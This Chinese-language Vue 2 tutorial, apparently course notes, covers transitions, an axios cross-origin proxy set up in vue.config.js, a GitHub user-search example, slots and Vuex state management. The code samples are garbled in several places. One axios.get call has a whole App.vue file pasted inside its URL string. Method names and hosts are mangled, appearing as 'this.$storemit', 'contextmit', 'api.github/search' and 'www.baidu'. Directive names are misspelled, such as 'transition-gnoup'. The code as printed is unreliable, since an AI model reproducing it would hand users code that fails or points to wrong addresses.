        transform:translateX(0);
    }
</style>

Vue封装的过度与动画
1.作用:在插入、更新或移除DOM元素时,在合适的时候给元素添加样式类名。

2.图示:

3.写法:

    1.准备好样式:

        ·元素进入的样式:

            1. v-enter:进入的起点

            2.v-enter-active:进入过程中

            3.v-enter-to:进入的终点

        ·元素离开的样式:

            1.v-leave:离开的起点

            2.v-leave-active:离开过程中

            3.v-leave-to:离开的终点

    2.使用<transition>包裹要过度的元素,并配置name属性:

        <transition name="hello">

        <h1 v-show="isShow">你好啊!</h1></transition>

    3.备注:若有多个元素需要过度,则需要使用:<transition-gnoup>,且每个元素都要指定 key值。

Ajax跨域问题及axios

借助vue脚手架,解决ajax请求跨域的问题
由于原生ajax多操作dom,jquery封装dom,vue不怎么对dom操作,我们使用axios。fetch也可使用,且不用像axios引入包,直接使用,但fetch不兼容ie。

先项目根目录下下载axios
npm i axios

背景,有一台后端服务器提供接口为http://localhost:5000/SsmModule/student/getOne

App.vue

<template>
  <div >
    <button @click="getStudents">获取学生信息</button>
  </div>
</template>
<script>
import axios from 'axios'
export default {
  name:"App",
  methods:{
    getStudent(){
      axios.get("<template>
  <div >
    <button @click="getStudent">获取学生信息</button>
  </div>
</template>
<script>
import axios from 'axios'
export default {
  name:"App",
  methods:{
    getStudent(){
      // axios.get("http://localhost:5000/SsmModule/student/getOne").then(  //我们不使用这种会存在跨域问题的请求方式,我们使用vue.config.js中配置的代理服务器即可,如下
      axios.get("http://localhost:8080/SsmModule/student/getOne").then(
        response=>{
          console.log("请求成功了",response.data)
        },
        error=>{
          console.log("请求失败了",error.message)
        }
        
      )
    }
  }
}
</script>
<style>
</style>").then(
        response=>{
          console.log("请求成功了",response.data)
        },
        error=>{
          console.log("请求失败了",error.message)
        }
        
      )
    }
  }
}
</script>
<style>
</style>

 由于前端服务器发送ajax请求直接访问后端服务器的接口,由于同源策略,协议名、主机名、端口号必须相同。
但ajax请求由当前前端服务器的地址8080去请求后端服务器5000端口,就会跨域,解决跨域问题方式主要有下面几种:
1.可麻烦后端人员加上cors
2.jsonp需要前后端都使用。
3.开发中用的比较多的还是配置一台代理服务器:
代理服务器和前端服务器保持一致,如ip一致且端口都是8080,就不存在跨域问题了:
因为前端服务器访问的是代理服务器。是同源的。而代理服务器访问的后端服务器不采用ajax请求,而采用http请求直接访问的方式,也不存在跨域问题。
开启代理服务器方式:1借助nginx,2借助vue-cli 

 配置代理方式1

需要再vue.config.js中配置代理服务器访问到后端地址

module.exports = {
  pages: {
    index: {
      // page 的入口
      entry: 'src/main.js',
      }
  },
  lintOnSave:false,//关闭语法检查
  //开启代理服务器,只写后端服务器协议ip和端口即可
  devServer:{
    proxy:"http://localhost:5000"
  }
  //修改配置,需要重启服务器
}

App.vue中axios改为

<template>
  <div >
    <button @click="getStudent">获取学生信息</button>
  </div>
</template>
<script>
import axios from 'axios'
export default {
  name:"App",
  methods:{
    getStudent(){
      // axios.get("http://localhost:5000/SsmModule/student/getOne").then(  //我们不使用这种会存在跨域问题的请求方式,我们使用vue.config.js中配置的代理服务器即可,如下
      axios.get("http://localhost:8080/SsmModule/student/getOne").then(
        response=>{
          console.log("请求成功了",response.data)
        },
        error=>{
          console.log("请求失败了",error.message)
        }
        
      )
    }
  }
}
</script>
<style>
</style>

前端服务器访问自己的东西,即public目录下的文件都是可不用代理直接访问的。如8080/favicon.ico直接访问自己的,不会代理到后端服务器,比如public下由/SsmModule/student/getOne文件,在访问这个axios请求,就不走代理了,直接访问Public下的文件了。

1.用这种vue.config.js配置代理,不能配置多个代理,刚刚只能转发给5000
2.不能灵活的控制走不走代理

配置代理方式2

vue.config.js中配置代理,并重启前端服务器

module.exports = {
  pages: {
    index: {
      // page 的入口
      entry: 'src/main.js',
      }
  },
  lintOnSave:false,//关闭语法检查
  //开启代理服务器,只写协议ip和端口即可
  /* devServer:{
    proxy:"http://localhost:5000"
  } */
  //开启代理服务器(方式二)
  devServer:{
    proxy:{
         '/atguigu':{ //本次请求的前缀如果是端口号后面有'/atguigu'的话就代理转发
            target:"http://localhost:5000",
            pathRewrite:{'^/atguigu':''},// 加上这个替换,就会把http://localhost:8080/atguigu/SsmModule/student/getOne中的atguigu去掉再代理给后端服务器,就不会因找不到资源报404了
            ws:true,//默认为true 用于支持websocket
            changeOrigin:true//默认为true 如果为true,代理服务器端口8080访问后端服务器5000,就会根后端服务器说代理服务器自己是5000端口和后端服务器一样。如果为false,就给后端服务器说代理服务器自己是8080实话实话说
        },
        '/demo':{
          target:"http://localhost:5001",
          pathRewrite:{'^/demo':''}
        }
      }
  } 
  //修改配置,需要重启服务器
}

 App.vue中的axios的路径改为

<template>
  <div >
    <button @click="getStudent">获取学生信息</button>
  </div>
</template>
<script>
import axios from 'axios'
export default {
  name:"App",
  methods:{
    getStudent(){
      //axios.get("http://localhost:8080/SsmModule/student/getOne").then(//不使用这第一种代理方式,使用vue.config.js中配置的第二种代理方式
      axios.get("http://localhost:8080/atguigu/SsmModule/student/getOne").then(//需要再vue.config.js中配置pathRewrite:{'^/atguigu':''}
        response=>{
          console.log("请求成功了",response.data)
        },
        error=>{
          console.log("请求失败了",error.message)
        }
        
      )
    }
  }
}
</script>
<style>
</style>

github案例

bootStrap.css可放入App.vue中的script中import引入,但会有严格的检查,bootstrap中字体不存在都会报错。
bootstrap.css一般放到index.html中引入

1.先开发静态页面布局拆分组件
2.然后考虑动态页面,数据放在哪里

 main.js中定义全局事件总线

import Vue from 'vue'
import App from "./App.vue"
Vue.config.productionTip=false
new Vue({
  el:"#app",
  render:h=>h(App),
  beforeCreate(){
    Vue.prototype.$bus = this
  }
})

vue.config.js中不用配置代理服务器,因为github网址接口后端服务器已经通过cros解决了跨域问题,直接在axios中访问即可

App.vue

<template>
  <div>
      <Search/>
      <List/>
  </div>
</template>
<script>
import List from './components/List.vue'
import Search from './components/Search.vue'
export default {
  name:"App",
  components:{
    List,
    Search,
  }
}
</script>
<style>
</style>

Search.vue发送请求查询数据

<template>
  <section>
    <h3>Search Github Users</h3>
    <div>
        <input type="text" v-model="keyWord" placeholder="输入name进行搜索"/>&nbsp;
        <button @click="searchUsers">Search Users</button>
    </div>
  </section>
</template>

<script>
import axios from 'axios'
export default {
    name:"Search",
    data() {
        return {
            keyWord:""
        }
    },
    methods:{
        searchUsers(){
            // 请求前
            //this.$bus.$emit('updateListData',false,true,"",[])//但这样写,参数过多,可读性差
            this.$bus.$emit('updateListData',{isFirst:false,isLoading:true,errMsg:"",users:[]})//可这样写,传一个对象进去,可读性好一些
            axios.get('https://api.github/search/users?q='+this.keyWord).then(//由于github的服务器配置了cors,所以后端直接解决了跨域问题,不需要前端在配置文件中使用代理服务器解决了
            response=>{
            console.log("请求成功了",response.data)
            // this.$bus.$emit('updateListData',false,false,"",response.data.items)
            this.$bus.$emit('updateListData',{isFirst:false,isLoading:false,errMsg:"",users:response.data.items})
            },
            error=>{
            console.log("请求失败了",error.message)
            this.$bus.$emit('updateListData',{isFirst:false,isLoading:false,errMsg:error.message,users:[]})
            }
            )
        }
    }
}
</script>

<style>

</style>

List.vue展示查询后的数据

<template>
    <div>
        <!-- 展示用户列表 -->
        <div v-show="info.users.length" v-for="user in info.users" :key="user.login">
            <a :href="user.html_url" target="">
                <img :src="user.avatar_url" style="width:100px"/>
            </a>
            <p>{{user.login}}</p>
        </div>
        <!-- 展示欢迎词 -->
        <h1 v-show="info.isFirst">欢迎使用!</h1>
        <!-- 展示加载中 -->
        <h1 v-show="info.isLoading">加载中...</h1>
        <!-- 展示错误信息 -->
        <h1 v-show="info.errMsg">{{info.errMsg}}</h1>
    </div>
</template>

<script>
export default {
    name:"List",
    data() {
        return {
            info:{
                isFirst:true,
                isLoading:false,
                errMsg:"",
                users:[]
            }
        }
    },
    mounted(){
    //   this.$bus.$on('updateListData',(isFirst,isLoading,errMsg,users)=>{//参数过多,可读性差
      this.$bus.$on('updateListData',(listObj)=>{//可这样写,传一个对象进去,可读性好一些
        console.log('List组件收到了数据',listObj)
        this.info=listObj
        //this.info={...this.info,...listObj}//es6的写法,listObj合并到info中
      })
    },
    beforeDestroy() {
      this.$bus.$off("updateListData")
    },
}
</script>

<style>

</style>

vue-resource库$http

使用vue-resource引入后的$http,和axios一模一样的用法,vue1.0项目中用这个的多 

下载安装npm i vue-resource

main.js中引入并使用这个vue-resource插件

import Vue from 'vue'
import App from "./App.vue"
import vueResource from 'vue-resource'
/* 使用插件,全局都可用$http代替axios发送请求了 */
Vue.use(vueResource)
Vue.config.productionTip=false
new Vue({
  el:"#app",
  render:h=>h(App),
  beforeCreate(){
    Vue.prototype.$bus = this
  }
})

还是上面的github案例,只需把Search.vue中的axios换成$http即可

            //axios.get('https://api.github/search/users?q='+this.keyWord).then(//不使用axios发请求了,使用vue-resource引入后的$http
            this.$http.get('https://api.github/search/users?q='+this.keyWord).then(//使用vue-resource引入后的$http,和axios一模一样
            response=>{
            console.log("请求成功了",response.data)
            

插槽 

作用:让父组件可以向子组件指定位置插入htm结构,也是一种组件间通信的方式,适用于父组件===>子组件。

默认插槽

App.vue中使用双标签,里面写内容

<template>
  <div class="container">
      <!-- <Category title="美食" :listData="foods"/>
      <Category title="游戏" :listData="games"/>
      <Category title="电影" :listData="films"/> -->
      <!-- 使用双标签中写内容,然后在其相应的子组件中使用slot选择显示的位置 -->
      <Category title="美食">
        <img src="https://s3.ax1x/2021/01/16/srJlq0.jpg" alt="">
      </Category>
      <Category title="游戏">
          <ul>
            <li v-for="(item ,index) in games" :key="index">{{item}}</li>
          </ul>
      </Category>
      <Category title="电影">
          <video controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
      </Category>
  </div>
</template>
<script>
import Category from './components/Category.vue'
export default {
  name:"App",
  data() {
    return {
      foods:["apple",'banana','orange','watermelon'],
      games:["魂斗罗",'俄罗斯方块','超级玛丽','坦克大战','侠盗飞车'],
      films:["《喜羊羊与灰太狼》","《熊出没大电影》"]
    }
  },
  components:{
    Category,
  }
}
</script>
<style>
.container{
  display: flex;
  justify-content: space-around;
}
</style>

Category.vue中写<slot>确认插槽放的位置

<template>
  <div class="category">
    <h3>{{title}}分类</h3>
    <!-- <ul>
        <li v-for="(item,index) in listData" :key="index">{{item}}</li>
    </ul> -->
    <!-- 通过使用下面的slot插槽来标记父组件中加载组件标签中的内容的位置 -->
    <slot>我是一些默认值,当使用者没有传递具体结构时,我会出现</slot>
  </div>
</template>

<script>
export default {
    name:'Category',
    props:["title","listData"]

}
</script>
<style scoped>
.category{
    background-color: skyblue;
    width: 200px;
    height: 300px;
}
h3{
    text-align: center;
    background-color: orange;
}
img{
  width: 100%;
}
video{
  width: 100%;
}
</style>

具名插槽

具有名字的插槽

App.vue中使用

<template>
  <div class="container">
      <Category title="美食">
        <!-- 具名插槽,用slot标记具体的插槽位置的名字 -->
        <img slot="center" src="https://s3.ax1x/2021/01/16/srJlq0.jpg" alt="">
        <a slot="footer" href="http://www.baidu">百度一下</a>
      </Category>
      <Category title="游戏">
          <ul slot="center">
            <li v-for="(item ,index) in games" :key="index">{{item}}</li>
          </ul>
          <!-- 下面写两个footer不会后面覆盖前面,而是会进行追加的 -->
        <!-- <a slot="footer" href="http://www.baidu">单机游戏</a>
        <a slot="footer" href="http://www.baidu">网络游戏</a> -->
        <!-- 或者,用一个div,包起来 -->
        <div class="foot" slot="footer">
          <a href="http://www.baidu">单机游戏</a>
          <a href="http://www.baidu">网络游戏</a>
        </div>

      </Category>
      <Category title="电影">
          <video slot="center" controls src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"></video>
          <!-- <div slot="footer"> 不使用div使用下面template-->
          <!-- <template slot="footer"> 对于template标签标起来的内容,可以使用下面这行v-slot:footer这种写法,且仅有template可这么写v-slot:footer-->
          <template v-slot:footer>
            <!-- <div class="foot" slot="footer"> -->
            <div class="foot">
              <a href="http://www.baidu">经典</a>
              <a href="http://www.baidu">热门</a>
              <a href="http://www.baidu">推荐</a>
          </div>
          <!-- <h4 slot="footer">欢迎前来观影</h4> -->
          <h4>欢迎前来观影</h4>
        <!-- </div> -->
        </template>
      </Category>
  </div>
</template>
<script>
import Category from './components/Category.vue'
export default {
  name:"App",
  data() {
    return {
      foods:["apple",'banana','orange','watermelon'],
      games:["魂斗罗",'俄罗斯方块','超级玛丽','坦克大战','侠盗飞车'],
      films:["《喜羊羊与灰太狼》","《熊出没大电影》"]
    }
  },
  components:{
    Category,
  }
}
</script>
<style>
.container,.foot{
  display: flex;/* 横向排开 */
  justify-content: space-around; /* 主轴对其 */
}
</style>

Categories.vue

<template>
  <div class="category">
    <h3>{{title}}分类</h3>
    <!-- 具名插槽,通过slot的name指定具体的名字 -->
    <slot name="center">我是一些默认值,当使用者没有传递具体结构时,我会出现111</slot>
    <slot name="footer">我是一些默认值,当使用者没有传递具体结构时,我会出现222</slot>
  </div>
</template>

<script>
export default {
    name:'Category',
    props:["title","listData"]

}
</script>
<style scoped>
.category{
    background-color: skyblue;
    width: 200px;
    height: 300px;
}
h3{
    text-align: center;
    background-color: orange;
}
img{
  width: 100%;
}
video{
  width: 100%;
}
</style>

作用域插槽

当前App是<Category>组件的使用者,且数据也在App.vue中,然后我们让数据放在Category.vue中

理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

App.vue

<template>
  <div class="container">
      <Category title="游戏">
        <!-- 这里是插槽的使用者,根据传来的数据,将具体的结构给插槽 -->
        <!-- 场景,数据不在这里,且也不允许别的组件给你这个数据,可直接通过作用域插槽传递这个数据 -->
        <!-- 使用作用域插槽必须使用一个template整体套起来 使用scoped定一个作用域比如名叫atguigu,然后就能收到插槽传递的值了 -->
        <template scope="atguigu">
          <!-- {{atguigu.games}} -->
          <ul>
            <li v-for="(g ,index) in atguigu.games" :key="index">{{g}}</li> 
          </ul>
        </template>
      </Category>
      <Category title="游戏">
        <template scope="atguigu">
          <ol>
            <li style="color:red" v-for="(g ,index) in atguigu.games" :key="index">{{g}}</li> 
          </ol>
          <h4>{{atguigu.msg}}</h4>
        </template>
      </Category>
      <Category titl e="游戏">
        <!-- 支持es6的结构赋值的语法,如下scope="{games}"和(g ,index) in games -->
        <template slot-scope="{games}">
          <h4 style="color:red" v-for="(g ,index) in games" :key="index">{{g}}</h4> 
        </template>
      </Category>
  </div>
</template>
<script>
import Category from './components/Category.vue'
export default {
  name:"App",
  data() {
    return {
      games:["魂斗罗",'俄罗斯方块','超级玛丽','坦克大战','侠盗飞车'],
    }
  },
  components:{
    Category,
  }
}
</script>
<style>
.container,.foot{
  display: flex;/* 横向排开 */
  justify-content: space-around; /* 主轴对其 */
}
</style>

Category.vue

<template>
  <div class="category">
    <h3>{{title}}分类</h3>
    <!-- <slot>中使用类似props传数据 作用域插槽 -->
      <slot :games="games" msg="hello,你好">我是默认的一些内容</slot>
  </div>
</template>

<script>
export default {
    name:'Category',
    props:["title","listData"],
    data() {
      return {
      games:["魂斗罗",'俄罗斯方块','超级玛丽','坦克大战','侠盗飞车'],  
      }
    },
}
</script>
<style scoped>
.category{
    background-color: skyblue;
    width: 200px;
    height: 300px;
}
h3{
    text-align: center;
    background-color: orange;
}
img{
  width: 100%;
}
video{
  width: 100%;
}
</style>

Vuex简介

Vuex是什么?
概念:专门在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。-
Github 地址: https://github/vuejs/vuex

先看一个,多组件共享数据的全局事件总线的实现方式:如下图
data在A组件中,A通过$emit传给BCD接收,然后BCD如果想修数据,需要$emit传给A,A接收后再修改

 再看一下Vuex的多组间共享数据的实现方式:如下图:
ABCD组件都可访问和修改vuex中的共享数据

 什么时候使用Vuexe?共享时
1.多个组件依赖于同一状态
2.来自不同组件的行为需要变更同一状态

求和案例的vue

Vue版 

Count.vue

<template>
<div>
    <h1>当前求和为{{sum}}</h1>
    <select v-model="n">
      <option :value="1">1</option>
      <option :value="2">2</option>
      <option :value="3">3</option>
    </select>
    <button @click="increment">+</button>
    <button @click="decrement">-</button>
    <button @click="incrementOdd  ">当前求和为奇数再加</button>
    <button @click="incrementWait">等一等再加</button>
  </div>
</template>

<script>
export default {
    name:"Count",
    data() {
      return {
        sum:0,//求和
        n:1//迭代
      }
    },
    methods: {
        increment(){
          this.sum+=this.n
        },
        decrement(){
          this.sum-=this.n
        },
        incrementOdd(){
          if(this.sum%2){
            this.sum+=this.n
          }
        },
        incrementWait(){
          setTimeout(() => {
            this.sum+=this.n
          }, 3000);
        }
    },
}
</script>
<style scoped>
button{
  margin-left: 5px;
}
</style>

App.vue

<template>
      <Count/>
</template>
<script>
import Count from './components/Count.vue'
export default {
  name:"App",
  components:{
    Count,
  }
}
</script>

Vuex的原理和使用

 允许不走action,在组件中直接commit到Mutations.比如客人直接访问后厨

组件相当于客人,Action相当于服务员,Mutations先当于后厨,state相当于菜.

Action和Mutations和State都是对象,这三个都需经过Store仓库管理存储.

所以调用dispath和commit都需store.dispatch和storemit

 搭建Vuex环境

Vue2中只能用Vuex3版本
Vue3中只能用Vuex4版本

项目根路径下下载vuex3
npm i vuex@3

main.js中引入并use

/* 引入并使用Vuex插件 */
import Vuex from 'vuex'
Vue.use(Vuex)

src下创建vuex文件夹,下创建store.js文件。或src下创建store文件夹,下创建index.js文件 

src下store文件夹下index.js

/* 该文件用于创建vuex中最为核心的store */

import Vue from 'vue'
// 引入Vuex
import Vuex from 'vuex'
// 准备actions—-用于响应组件中的动作
const actions={}
// 准备mutations—-用于操作数据(state)
const mutations={}
// 准备state—-用于存储数据
const state={}

Vue.use(Vuex)
// 创建store
/* const store = new Vuex.Store({
    actions:actions,
    mutations:mutations,
    state:state
}) */
// 暴露 store 
// export default store

//创建并暴露 store
export default new Vuex.Store({
    actions,
    mutations,
    state
})

main.js引入store文件,并vm实例中引入store

import Vue from 'vue'
import App from "./App.vue"

import vueResource from 'vue-resource'
/* 使用插件,全局都可用$http代替axios发送请求了 */
Vue.use(vueResource)

/* 引入并使用Vuex插件 这时创建vm的时候就可以传入store配置项了 */
// import Vuex from 'vuex'
//Vue.use(Vuex) 不能再这个main.js中Vue.use(vuex)了,因为先得Vue.use(Vuex)使用插件,然后才能store/index.js的new Vuex.Store({}).
/* 而 脚手架中的import会,文件中先扫描所有的import,然后把所有的import按照编写import代码的顺序汇总到最上方。
   如果在上上行中use这样就会导致 所有的import语句执行完,发现store/index.js的new Vuex.Store时的Vuex还未use,不能用。
   所以应该在sotre配置文件中,store/index.js中先引入Vue,然后Vue.use(Vuex)后再new Vuex.Store 
   然后这里的Vuex也不需要引入了,因为在store/index.js中引入了并use了,这里只需下行的代码引入stroe即可*/

/* 引入vuex的核心store */
import store from "./store/index"/* 也可写成下面,脚手架也能自动加上index */
//import store from "./store" 

Vue.config.productionTip=false
new Vue({
  el:"#app",
  render:h=>h(App),

  /* store:"store", */
  store,
  /* 不use这个vuex,即使这里写了store,vm也会直接扔掉不认 。
  正常use那个Vuex后,这里的store就会绑定到vm实例对象上了$store。
  并且不光vm上右边$store,而且vc组件对象上也有$store   */

  beforeCreate(){
    /* 全局事件总线 */
    Vue.prototype.$bus = this
  }
})

求和案例Vuex版

Count.vue

<template>
<div>
    <h1>当前求和为{{$store.state.sum}}</h1>
    <select v-model="n">
      <option :value="1">1</option>
      <option :value="2">2</option>
      <option :value="3">3</option>
    </select>
    <button @click="increment">+</button>
    <button @click="decrement">-</button>
    <button @click="incrementOdd  ">当前求和为奇数再加</button>
    <button @click="incrementWait">等一等再加</button>
  </div>
</template>

<script>
export default {
    name:"Count",
    data() {
      return {
        n:1//迭代
      }
    },
    methods: {
        increment(){
         this.$store.dispatch('jia',this.n)
        },
        decrement(){
        //  this.$store.dispatch('jian',this.n)//由于不需要业务逻辑,直接commit即可,即不需要dispatch转到actions,直接commit到mutations也行
         this.$storemit('JIAN',this.n)
        },
        incrementOdd(){
          /* if(this.$store.state.sum%2){
            this.$store.dispatch('jia',this.n)
          } */
          // 或者将业务逻辑交给actions
          this.$store.dispatch('jiaOdd',this.n)
        },
        incrementWait(){
          setTimeout(() => {
            this.$store.dispatch('jia',this.n)
          }, 3000);
        }
    },
}
</script>
<style scoped>
button{
  margin-left: 5px;
}
</style>

src下的store下的index.js

/* 该文件用于创建vuex中最为核心的store */

import Vue from 'vue'
// 引入Vuex
import Vuex from 'vuex'
// 准备actions—-用于响应组件中的动作
const actions={// 如果有业务逻辑,写在actions中, context上下文可获取一些数据
    jia:function(context,value){//第一个参数为store,第二个参数为传递的参数
        console.log("action中的jia被调用了",context,value)
        contextmit("JIA",value)//一般这里的方法要大写,这样一看就知道是mutation中的方法
    },
    jiaOdd:function(context,value){
        console.log("action中的jiaOdd被调用了",context,value)
        if(context.state.sum%2){
            contextmit("JIA",value)
        }
    },
    /* jian(context,value){ //这个action的方法仅起到一个中转的作用,不需要也行,直接在Count.vue中commit而不是dispatch
        contextmit("JIAN",value)
    } */
}
// 准备mutations—-用于操作数据(state)
const mutations={ // 这里就不要写业务逻辑了
    JIA(state,value){
        console.log("nutations中的JIA被调用了",state,value)
        state.sum+=value
    },
    JIAN(state,value){
        state.sum-=value
    }
}
// 准备state—-用于存储数据
const state={
    sum:0,//求和
}

Vue.use(Vuex)
// 创建store
/* const store = new Vuex.Store({
    actions:actions,
    mutations:mutations,
    state:state
}) */
// 暴露 store 
// export default store

//创建并暴露 store
export default new Vuex.Store({
    actions,
    mutations,
    state
})

main.js

import Vue from 'vue'
import App from "./App.vue"

import vueResource from 'vue-resource'
/* 使用插件,全局都可用$http代替axios发送请求了 */
Vue.use(vueResource)

/* 引入并使用Vuex插件 这时创建vm的时候就可以传入store配置项了 */
// import Vuex from 'vuex'
//Vue.use(Vuex) 不能再这个main.js中Vue.use(vuex)了,因为先得Vue.use(Vuex)使用插件,然后才能store/index.js的new Vuex.Store({}).
/* 而 脚手架中的import会,文件中先扫描所有的import,然后把所有的import按照编写import代码的顺序汇总到最上方。
   如果在上上行中use这样就会导致 所有的import语句执行完,发现store/index.js的new Vuex.Store时的Vuex还未use,不能用。
   所以应该在sotre配置文件中,store/index.js中先引入Vue,然后Vue.use(Vuex)后再new Vuex.Store 
   然后这里的Vuex也不需要引入了,因为在store/index.js中引入了并use了,这里只需引入stroe即可*/

/* 引入vuex的核心store */
import store from "./store/index"/* 也可写成下面,脚手架也能自动加上index */
//import store from "./store" 

Vue.config.productionTip=false
new Vue({
  el:"#app",
  render:h=>h(App),

  /* store:"store", */
  store,
  /* 不use这个vuex,即使这里写了store,vm也会直接扔掉不认 。
  正常use那个Vuex后,这里的store就会绑定到vm实例对象上了$store。
  并且不光vm上右边$store,而且vc组件对象上也有$store   */

  beforeCreate(){
    /* 全局事件总线 */
    Vue.prototype.$bus = this
  }
})

App.vue中引入Count.vue即可

vuex开发者工具的使用

vuex开发者工具的使用,和vue的开发者工具是一个,第一个选项卡看组件,第三个选项卡看自定义组件的。
第二个选项卡为vuex的,里面收集到的是mutation中的,其中还有时间按钮回到当时、删除按键删除该结果和依赖该结果计算的结果都消失、像下载按钮的是合并,合并所有到一个且不呈现了。
下面还有一个导出导入的按钮,点击一下某条记录的类似下载按钮的合并按键再点击导出可以导出到剪切板,然后粘贴到导入框中即可。

actions中的context上下文中除了commit还有dispatch,如下jiaOdd

const actions={// 如果有业务逻辑,写在actions中, context上下文可获取一些数据
    jia:function(context,value){//第一个参数为store,第二个参数为传递的参数
        console.log("action中的jia被调用了",context,value)
        contextmit("JIA",value)//一般这里的方法要大写,这样一看就知道是mutation中的方法
    },
    jiaOdd:function(context,value){
        console.log("action中的jiaOdd被调用了",context,value)
        console.log("处理了一些事情--jiaOdd")
        /* if(context.state.sum%2){
            contextmit("JIA",value)
        } */
        context.dispatch("demo1",value)
    },
    demo1(context,value){
        console.log("处理了一些事情--demo1")
        context.dispatch("demo2",value)
    },
    demo2(context,value){
        console.log("处理了一些事情--demo2")
        if(context.state.sum%2){
            contextmit("JIA",value)
        }
    },
    /* jian(context,value){ //这个action的方法仅起到一个中转的作用,不需要也行,直接在Count.vue中commit而不是dispatch
        contextmit("JIAN",value)
    } */
}

不建议省略mutations而直接再actoins中方法中context.state.sum+=1,因为action中的代码再vuex开发者工具中捕获不到.

也不建议直接在Count.vue代码中的methods中的方法中,写acstions中的业务逻辑如if(this.$store.state.sum%2){this.$storemit("JIA",this.n)},
因为在这里不能在这发ajax请求,而actions中可以,actions可处理的业务逻辑更复杂

getters配置项

如果是一些比较复杂的计算,计算属性只能在当前组件中复用,跨组件需要stroe配置文件中的getters配置项。

还是上面vuex版的求和案例

Count.vue

<template>
<div>
    <h1>当前求和为{{$store.state.sum}}</h1>
    <!-- <h3>当前求和放大10被为:{{$store.state.sum*10}}</h3> -->
    <!-- 如果是一些比较复杂的计算,用计算属性只能本组件复用,需用getters配置项,才能多组件复用,如下 -->
    <h3>当前求和放大10被为:{{$store.getters.bigSum}}</h3>
    <select v-model="n">
      <option :value="1">1</option>
      <option :value="2">2</option>
      <option :value="3">3</option>
    </select>
    <button @click="increment">+</button>
    <button @click="decrement">-</button>
    <button @click="incrementOdd  ">当前求和为奇数再加</button>
    <button @click="incrementWait">等一等再加</button>
  </div>
</template>

<script>
export default {
    name:"Count",
    data() {
      return {
        n:1//迭代
      }
    },
    methods: {
        increment(){
         this.$store.dispatch('jia',this.n)
        },
        decrement(){
        //  this.$store.dispatch('jian',this.n)//由于不需要业务逻辑,直接commit即可,即不需要dispatch转到actions,直接commit到mutations也行
         this.$storemit('JIAN',this.n)
        },
        incrementOdd(){
          /* if(this.$store.state.sum%2){
            this.$store.dispatch('jia',this.n)
          } */
          // 或者将业务逻辑交给actions
          this.$store.dispatch('jiaOdd',this.n)
        },
        incrementWait(){
          setTimeout(() => {
            this.$store.dispatch('jia',this.n)
          }, 3000);
        }
    },
}
</script>
<style scoped>
button{
  margin-left: 5px;
}
</style>

src下的store下的index.js

/* 该文件用于创建vuex中最为核心的store */

import Vue from 'vue'
// 引入Vuex
import Vuex from 'vuex'
// 准备actions—-用于响应组件中的动作
const actions={// 如果有业务逻辑,写在actions中, context上下文可获取一些数据
    jia:function(context,value){//第一个参数为store,第二个参数为传递的参数
        console.log("action中的jia被调用了",context,value)
        contextmit("JIA",value)//一般这里的方法要大写,这样一看就知道是mutation中的方法
    },
    jiaOdd:function(context,value){
        console.log("action中的jiaOdd被调用了",context,value)
        console.log("处理了一些事情--jiaOdd")
        if(context.state.sum%2){
            contextmit("JIA",value)
        }
    },
    /* jian(context,value){ //这个action的方法仅起到一个中转的作用,不需要也行,直接在Count.vue中commit而不是dispatch
        contextmit("JIAN",value)
    } */
}
// 准备mutations—-用于操作数据(state)
const mutations={ // 这里就不要写业务逻辑了
    JIA(state,value){
        console.log("nutations中的JIA被调用了",state,value)
        state.sum+=value
    },
    JIAN(state,value){
        state.sum-=value
    }
}
// 准备state—-用于存储数据
const state={
    sum:0,//求和
}
//准备getters—用于将state中的数据进行加工
const getters={ //还需在下面的new Vuex.Store({})中配置进去
    bigSum(state){
        return state.sum*10
    }
}

Vue.use(Vuex)
// 创建store
/* const store = new Vuex.Store({
    actions:actions,
    mutations:mutations,
    state:state
}) */
// 暴露 store 
// export default store

//创建并暴露 store
export default new Vuex.Store({
    actions,
    mutations,
    state,
    getters
})

mapState与mapGetters

我们之前都是在{{$store.getters.bigSum}}这样写,但这样写太繁琐,虽然我们可以在组件中用计算属性computed:{sum(){return this.$store.state.sum}},然后{{sum}}但一个个的这样写,还是有些繁琐,可用mapState,会自动找state中的数据,进行映射。但注意getters中的数据读不到。

还是上面的vuex的求和案例

src下store文件夹下index.js中state多加两个数据

/* 该文件用于创建vuex中最为核心的store */

import Vue from 'vue'
// 引入Vuex
import Vuex from 'vuex'
// 准备actions—-用于响应组件中的动作
const actions={// 如果有业务逻辑,写在actions中, context上下文可获取一些数据
    jia:function(context,value){//第一个参数为store,第二个参数为传递的参数
        console.log("action中的jia被调用了",context,value)
        contextmit("JIA",value)//一般这里的方法要大写,这样一看就知道是mutation中的方法
    },
    jiaOdd:function(context,value){
        console.log("action中的jiaOdd被调用了",context,value)
        console.log("处理了一些事情--jiaOdd")
        if(context.state.sum%2){
            contextmit("JIA",value)
        }
    },
    /* jian(context,value){ //这个action的方法仅起到一个中转的作用,不需要也行,直接在Count.vue中commit而不是dispatch
        contextmit("JIAN",value)
    } */
}
// 准备mutations—-用于操作数据(state)
const mutations={ // 这里就不要写业务逻辑了
    JIA(state,value){
        console.log("nutations中的JIA被调用了",state,value)
        state.sum+=value
    },
    JIAN(state,value){
        state.sum-=value
    }
}
// 准备state—-用于存储数据
const state={
    sum:0,//求和
    school:"尚硅谷",
    subject:"前端"
}
//准备getters—用于将state中的数据进行加工
const getters={ //还需在下面的new Vuex.Store({})中配置进去
    bigSum(state){
        return state.sum*10
    }
}

Vue.use(Vuex)
// 创建store
/* const store = new Vuex.Store({
    actions:actions,
    mutations:mutations,
    state:state
}) */
// 暴露 store 
// export default store

//创建并暴露 store
export default new Vuex.Store({
    actions,
    mutations,
    state,
    getters
})

Count.vue中计算属性用引入的vuex中的mapState和mapGetters自动生成

<template>
<div>
    <h1>当前求和为{{he}}</h1>
    <h3>当前求和放大10被为:{{bigSum}}</h3>
    <h3>我在{{school}},学习{{xueke}}</h3>
    <select v-model="n">
      <option :value="1">1</option>
      <option :value="2">2</option>
      <option :value="3">3</option>
    </select>
    <button @click="increment">+</button>
    <button @click="decrement">-</button>
    <button @click="incrementOdd  ">当前求和为奇数再加</button>
    <button @click="incrementWait">等一等再加</button>
  </div>
</template>

<script>
// 使用vuex的mapState,先要引入mapState
import { mapState,mapGetters } from "vuex"
export default {
    name:"Count",
